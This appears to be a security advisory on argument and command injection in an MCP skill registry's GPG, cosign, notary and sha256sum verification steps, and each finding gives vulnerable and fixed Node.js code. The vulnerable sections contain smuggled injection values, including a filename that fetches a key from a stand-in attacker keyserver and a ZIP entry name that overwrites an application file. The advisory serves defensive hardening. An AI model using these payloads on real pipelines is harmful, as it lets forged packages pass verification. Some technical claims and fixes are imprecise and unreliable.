Claude MCP skill command injection — package signing and verification pipeline
exec(`gpg --verify ${sigFile} ${packageFile}`) with sigFile from upload; attacker sigFile name "--keyserver hkp://attacker.com --auto-key-retrieve foo.sig" imports attacker's key and trusts it; arbitrary package passes verificationexec(`cosign verify --key ${keyPath} ${imageRef}`) with imageRef from submission; imageRef with --allow-insecure-registry flag disables TLS verification; man-in-the-middle of registry pull possibleexec(`sha256sum ${filePath} > ${hashFile}`) with filePath from ZIP entry; attacker filePath with shell redirect overwrites application file with hash valueexec(`notary verify ${imageName}:${tag}`) with tag from submission; tag containing space and --tlscacert=/dev/null disables TLS certificate verification for Notary server connectionINJECTION18-001 — GPG sigFile flag injection bypasses package verification
GPG signature verification uses shell interpolation of the uploaded signature filename. The gpg --verify command accepts a flag-style filename like --keyserver hkp://attacker.com as a valid positional argument when shell-interpolated before --verify parses its options. The attacker uploads a signature file whose filename is the flags string. GPG fetches the attacker's key from the specified keyserver, imports it into the local keyring with --auto-key-retrieve, and the subsequent --verify trusts any package signed by that key. All future uploads signed with the attacker's private key pass verification without review.
// INJECTION18-001 — VULNERABLE
// sigFile comes from the uploaded file's original filename — attacker controlled
const { exec } = require('child_process');
async function verifyGpgSignature(packageFile, sigFile) {
return new Promise((resolve, reject) => {
// shell:true interpolates sigFile as flags if it starts with --
exec(`gpg --verify ${sigFile} ${packageFile}`, (err, stdout, stderr) => {
if (err) return reject(new Error(`GPG verification failed: ${stderr}`));
resolve(true);
});
});
}
// Attacker uploads:
// filename: "--keyserver hkp://attacker.com --auto-key-retrieve ./real-sig.asc"
// Command becomes: gpg --verify --keyserver hkp://attacker.com --auto-key-retrieve ./real-sig.asc ./package.zip
// Result: attacker's key imported, any package signed by attacker key passes
GPG argument injection via flag-shaped filenames: The gpg --verify <sigfile> <file> pattern is vulnerable to argument injection because GPG (and most Unix tools) process positional arguments before the double-dash -- end-of-options marker as flags. A filename like --keyserver hkp://evil.com causes GPG to contact and trust the attacker's keyserver. The fix is to use execFile() with a full argument array and to generate the signature filename server-side using a UUID, never trusting the original upload filename.
// INJECTION18-001 — FIXED
const { execFile } = require('child_process');
const crypto = require('crypto');
const path = require('path');
async function verifyGpgSignature(packageFilePath, sigFileBuffer) {
const sandboxDir = `/tmp/gpg-verify-${crypto.randomUUID()}`;
await fs.mkdir(sandboxDir, { mode: 0o700 });
try {
// Write signature to UUID-named file — never use original upload filename
const sigPath = path.join(sandboxDir, `sig-${crypto.randomUUID()}.asc`);
await fs.writeFile(sigPath, sigFileBuffer);
return await new Promise((resolve, reject) => {
execFile(
'gpg',
[
'--batch',
'--no-auto-check-trustdb',
'--no-default-keyring',
'--keyring', '/app/trusted-keys/registry-keys.gpg', // pre-loaded trusted keyring only
'--verify',
'--', // end-of-options: nothing after -- is treated as a flag
sigPath,
packageFilePath,
],
{ timeout: 30000 },
(err, stdout, stderr) => {
if (err) return reject(new Error('GPG verification failed'));
resolve(true);
}
);
});
} finally {
await fs.rm(sandboxDir, { recursive: true, force: true });
}
}
INJECTION18-002 — cosign imageRef flag injection disables TLS
The cosign signature verification step runs exec(`cosign verify --key ${keyPath} ${imageRef}`) where imageRef comes from the skill submission's container image field. If the attacker submits an image reference containing a space followed by --allow-insecure-registry, cosign parses this additional flag and disables TLS verification for the registry pull. A network attacker can then serve a valid but malicious image at the registry address without a valid TLS certificate, bypassing the signature chain.
// INJECTION18-002 — VULNERABLE
exec(`cosign verify --key ${keyPath} ${imageRef}`, (err, out) => {
// imageRef = "registry.example.com/skill:v1.0 --allow-insecure-registry"
// becomes: cosign verify --key ./key.pub registry.example.com/skill:v1.0 --allow-insecure-registry
});
// INJECTION18-002 — FIXED
// Validate imageRef against strict OCI reference regex before passing to execFile
const OCI_REF_RE = /^[a-z0-9]([a-z0-9._-]*[a-z0-9])?(:[0-9]+)?\/[a-z0-9._\/-]+:[a-zA-Z0-9._-]+(@sha256:[a-f0-9]{64})?$/;
if (!OCI_REF_RE.test(imageRef)) {
throw new Error('Invalid OCI image reference format');
}
execFile('cosign', ['verify', '--key', keyPath, '--', imageRef], { timeout: 60000 }, (err, out) => {
if (err) throw new Error('cosign verification failed');
});
INJECTION18-003 — sha256sum shell redirect overwrites application file
The checksumming step runs exec(`sha256sum ${filePath} > ${hashFile}`) using shell-expanded arguments including a redirect operator. The filePath comes from the ZIP archive entry name. An attacker who includes a ZIP entry with a name like dist/app.js > /app/dist/index.js causes the shell to redirect the hash output to /app/dist/index.js, overwriting the production application entry point with the sha256 hash string of the attacker's file. The application restarts with a broken or attacker-controlled entry point.
// INJECTION18-003 — VULNERABLE
// filePath from ZIP entry name, shell:true with redirection operator in command
const { exec } = require('child_process');
async function checksumFile(filePath, hashFile) {
return new Promise((resolve, reject) => {
exec(`sha256sum ${filePath} > ${hashFile}`, (err) => { // VULNERABLE: shell redirect
if (err) return reject(err);
resolve();
});
});
}
// Attacker ZIP entry name: "src/index.js > /app/dist/index.js"
// Command: sha256sum src/index.js > /app/dist/index.js (overwrites app file)
// INJECTION18-003 — FIXED
// Use execFile() — no shell, no redirects possible. Capture stdout and write hash manually.
const { execFile } = require('child_process');
const path = require('path');
const crypto = require('crypto');
async function checksumFile(absoluteFilePath, sandboxDir) {
// Verify filePath is inside sandbox before checksumming
const resolved = path.resolve(absoluteFilePath);
if (!resolved.startsWith(sandboxDir + path.sep)) {
throw new Error('filePath escapes sandbox');
}
return new Promise((resolve, reject) => {
execFile(
'sha256sum',
['--', resolved], // -- prevents any flag injection from path
{ timeout: 30000, maxBuffer: 1024 },
(err, stdout) => {
if (err) return reject(new Error('sha256sum failed'));
// Parse "hash filename" output — write hash to our own hashFile in sandbox
const hash = stdout.trim().split(/\s+/)[0];
const hashFile = path.join(sandboxDir, `${crypto.randomUUID()}.sha256`);
fs.writeFile(hashFile, hash).then(() => resolve(hash)).catch(reject);
}
);
});
}
INJECTION18-004 — Notary tag injection disables TLS cert verification
The notary signature verification step runs exec(`notary verify ${imageName}:${tag}`) where tag is provided in the skill submission metadata. A tag value of v1.0 --tlscacert=/dev/null causes notary to disable TLS certificate verification for the Notary server connection, enabling a network attacker to present a self-signed certificate and forge trust data. Combined with INJECTION18-002, an attacker who disables both cosign and notary TLS checks can install arbitrary skills that appear to have valid supply-chain verification.
// INJECTION18-004 — VULNERABLE
exec(`notary verify ${imageName}:${tag}`, (err, out) => {
// tag = "v1.0 --tlscacert=/dev/null"
// becomes: notary verify registry.example.com/skill:v1.0 --tlscacert=/dev/null
});
// INJECTION18-004 — FIXED
// Validate tag against strict semver regex. Use execFile() with -- end-of-options.
const SEMVER_TAG_RE = /^v?\d+\.\d+\.\d+(-[a-zA-Z0-9.]+)?(\+[a-zA-Z0-9.]+)?$/;
const SHA256_TAG_RE = /^sha256:[a-f0-9]{64}$/;
if (!SEMVER_TAG_RE.test(tag) && !SHA256_TAG_RE.test(tag)) {
throw new Error('Invalid image tag format');
}
execFile(
'notary',
[
'--server', NOTARY_SERVER_URL, // server from config, not from request
'--tlscacert', '/etc/notary/ca.crt', // fixed path — not from request
'verify',
'--',
`${imageName}:${tag}`,
],
{ timeout: 60000 },
(err, out) => {
if (err) throw new Error('Notary verification failed');
}
);
Hardening summary
| Finding | Pattern | Fix |
|---|---|---|
| INJECTION18-001 | exec(gpg --verify ${sigFile}) with upload filename | execFile() with arg array; -- end-of-options; UUID-only temp filenames |
| INJECTION18-002 | exec(cosign verify ... ${imageRef}) with submission imageRef | OCI ref regex validation; execFile() with arg array and -- |
| INJECTION18-003 | exec(sha256sum ${filePath} > ${hashFile}) with ZIP entry name | execFile() no shell; sandbox path check; write hash manually |
| INJECTION18-004 | exec(notary verify ${imageName}:${tag}) with submission tag | Semver/sha256 regex; execFile() with fixed --tlscacert path |
Related: SA-SKL-INJECTION17, SA-SKL-INJECTION16. Run SkillAudit to surface all INJECTION18 patterns in your MCP skill registry.